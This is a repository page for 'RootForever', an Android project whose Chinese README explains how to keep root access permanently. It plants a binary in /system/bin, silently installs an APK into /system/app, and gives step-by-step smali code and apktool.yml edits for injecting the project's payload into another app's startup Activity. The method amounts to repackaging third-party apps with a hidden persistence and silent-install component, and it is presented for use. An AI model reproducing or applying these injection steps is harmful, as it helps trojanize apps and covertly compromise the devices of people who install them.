# RootForever **Repository Path**: ucloud/RootForever ## Basic Information - **Project Name**: RootForever - **Description**: Android永久获得Root方法: 之前发现一个APP第一次请求root后,以后在也不用请求Root,按照照这个思路进行整理的代码 - **Primary Language**: Java - **License**: Not specified - **Default Branch**: master - **Homepage**: None - **GVP Project**: No ## Statistics - **Stars**: 4 - **Forks**: 1 - **Created**: 2015-01-05 - **Last Updated**: 2021-04-12 ## Categories & Tags **Categories**: Uncategorized **Tags**: None ## README #RootForever Android永久获得Root方法:
之前发现一个APP第一次请求root后,以后在也不用请求Root,按照照这个思路进行整理的代码。
功能是:第一次请求root后,复制getbin文件到/system/bin下,以后执行此命令。
另外复制特殊的APK到/system/app,这个功能是自动复制取得root后,静默安装APP功能。

smali静态注入到APK中

smali 语法 插入方式: 1、找到第一个启动的Activity的onCreate方法,在最后插入此代码
invoke-static {p0}, Lcom/bba/Api;->getInstance(Landroid/content/Context;)Lcom/bba/Api;
move-result-object v0
invoke-virtual {v0}, Lcom/bba/Api;->start()V

2、复制文件: 编辑apktool.yml文件,在最后插入:
com/bba/dest.classd: '8'
com/bba/zld.txt: '8'
com/bba/zld_x86.txt: '8'


3、最后复制com/bba/dest.classd,com/bba/zld.txt, com/bba/zld_x86.txt到unknown文件夹

4、复制此项目的smali代码到反编译的smali文件夹中